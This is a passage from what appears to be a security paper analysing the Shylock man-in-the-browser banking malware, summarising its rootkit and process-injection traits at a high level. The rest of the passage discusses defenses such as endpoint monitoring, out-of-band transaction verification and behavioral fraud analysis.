Owner: Process explorer.exe Pid 1468
    
```

Figure 16

From the analysis this malware has many characteristics that allow it to remain hidden from security software, while also having the ability to perform MITB style attacks. Shylock was found to have rootkit capabilities and have the ability to connect to malicious IP's in an attempt to pull down configuration info from a central command server. The method of attack was to inject itself into the explorer.exe process and hide malicious processes.

4. Conclusion

There is no clear method in which to prevent MITB attacks beyond in-depth monitoring and prevention on the endpoint. Endpoint management that involves monitoring and preventing the browser from making changes to the system is one possibility to provide some defense against this attack. Many banks have even offered software that detects MITB type malware. Though, this is one layer to an attack that is continually evolving.

User education is mentioned as a method to prevent these attacks. In this case though user education isn't enough. Trained security experts can be fooled just as easily as an end user by a well-crafted MITB script. Aside from not doing banking online there are many options that can be packaged together to lower the risk of this attack succeeding. A few educational topics to consider include configuring accounts with safeguards including secure notification options, checking account balances regularly, and using secure banks to do transactions.

Preventing browser extensions and scripting can also limit these types of attacks, or preventing scripts to run over SSL connections. There are methods in which to restrict browser extensions from running, though certain websites may not operate properly and restricting browsers is difficult in today's age of multimedia operation. Banks have begun to use custom applications for banking on mobile devices to avoid any browser type intrusions. More of these apps may become popular as these attacks continue. Some banks have even offered to install anti-malware software on end users devices that would detect these types of attacks. This is debatable if this is good idea for banks to do, since attackers could use this as part of a phishing campaigns to install malware on users systems, posing as banks to install anti-malware software.

Transaction verification is also a popular method to counteract a Man-in-the-Browser (MITB) attack. This is also called Out of Band (OOB) transaction verification. Out of Band transaction verification is an additional method that verifies transactions such as a telephone call or an SMS text. This method has been known to get subverted as well if the verification information is stored in the user's account online. If a user can change these details online then an attacker could change this information to a destination of their choosing without a user knowing. Many attackers have also begun using VoIP technologies to subvert Transaction verification via caller ID manipulation and cloned /recorded bank message alerts (Ollmann, 2008).

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Three factor authentication using voice biometrics is another method banks have begun to use to further verify a transaction is valid (Hyderabad Hacker, 2011).

Banks have begun using Behavioral Analysis in their methods of defending against these attacks. Most credit card companies use this security feature to determine when potential fraud occurs in accounts currently. Detecting unusual wire transfers or transfers to international accounts typically throw up a red flag as an example of this type of detection.

Man-in-the-Browser attacks are not going to disappear anytime soon and will grow even more sophisticated. Potentially moving to mobile browsers as their use for banking is increased utilizing Man-in-the-mobile (MitMo) style attacks. Time will tell as the sophistication of these attacks not only target banking sites but other common sites that we have grown to trust.

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